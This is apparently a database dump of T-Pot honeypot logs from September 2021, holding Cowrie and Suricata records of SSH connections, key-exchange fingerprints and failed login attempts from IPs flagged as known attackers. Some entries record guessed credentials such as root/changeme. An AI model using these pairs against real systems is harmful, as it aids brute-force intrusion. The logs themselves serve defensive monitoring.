22273	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:58.044822+03	2021-09-20 14:15:04.721643+03	{"_id": "AAbjAnwBvYTbRNuEOQXU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "ab4c74b72514", "@version": "1", "timestamp": "2021-09-20T11:06:58.044822Z", "@timestamp": "2021-09-20T11:06:58.044Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
22274	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:58.147542+03	2021-09-20 14:15:04.723613+03	{"_id": "AQbjAnwBvYTbRNuEOQXU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "9b6c752ab340", "@version": "1", "timestamp": "2021-09-20T11:06:58.147542Z", "@timestamp": "2021-09-20T11:06:58.147Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22275	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:58.111887+03	2021-09-20 14:15:04.724613+03	{"_id": "BAbjAnwBvYTbRNuEPAVL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1547929488816248, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 39164, "dest_port": 22, "timestamp": "2021-09-20T11:06:58.111887Z", "@timestamp": "2021-09-20T11:06:58.111Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22276	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:58.146739+03	2021-09-20 14:15:04.725614+03	{"_id": "BQbjAnwBvYTbRNuEPAVL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1200299130873840, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49128, "dest_port": 22, "timestamp": "2021-09-20T11:06:58.146739Z", "@timestamp": "2021-09-20T11:06:58.146Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22277	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:58.545611+03	2021-09-20 14:15:04.728645+03	{"_id": "JgbjAnwBvYTbRNuEPQWz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:34912 (192.168.176.2:22) [session: a81fee7a5d8a]", "session": "a81fee7a5d8a", "@version": "1", "protocol": "ssh", "src_port": 34912, "dest_port": 22, "timestamp": "2021-09-20T11:06:58.545611Z", "@timestamp": "2021-09-20T11:06:58.545Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22278	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:58.739877+03	2021-09-20 14:15:04.729614+03	{"_id": "IgbjAnwBvYTbRNuEPQWz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "d58939a7bd18", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:58.739877Z", "@timestamp": "2021-09-20T11:06:58.739Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22279	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:58.498911+03	2021-09-20 14:15:04.731642+03	{"_id": "KgbjAnwBvYTbRNuEPQWz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [1502/1502] failed", "session": "a5f1fcd7546d", "@version": "1", "password": "1502", "username": "1502", "timestamp": "2021-09-20T11:06:58.498911Z", "@timestamp": "2021-09-20T11:06:58.498Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22286	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:58.670822+03	2021-09-20 14:15:04.740612+03	{"_id": "UwbjAnwBvYTbRNuEPQW7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "97b9fa918811", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:58.670822Z", "@timestamp": "2021-09-20T11:06:58.670Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
22280	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:58.721786+03	2021-09-20 14:15:04.733643+03	{"_id": "LAbjAnwBvYTbRNuEPQWz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "ef2667f17182", "@version": "1", "timestamp": "2021-09-20T11:06:58.721786Z", "@timestamp": "2021-09-20T11:06:58.721Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
22281	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:58.863633+03	2021-09-20 14:15:04.734643+03	{"_id": "LQbjAnwBvYTbRNuEPQWz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/changeme] failed", "session": "edb62f6149f3", "@version": "1", "password": "changeme", "username": "root", "timestamp": "2021-09-20T11:06:58.863633Z", "@timestamp": "2021-09-20T11:06:58.863Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22282	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:58.884636+03	2021-09-20 14:15:04.735642+03	{"_id": "LgbjAnwBvYTbRNuEPQWz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "dbae079c7f08", "@version": "1", "duration": 2.779226064682007, "timestamp": "2021-09-20T11:06:58.884636Z", "@timestamp": "2021-09-20T11:06:58.884Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
22283	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:59.030106+03	2021-09-20 14:15:04.737614+03	{"_id": "LwbjAnwBvYTbRNuEPQWz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "d58939a7bd18", "@version": "1", "timestamp": "2021-09-20T11:06:59.030106Z", "@timestamp": "2021-09-20T11:06:59.030Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
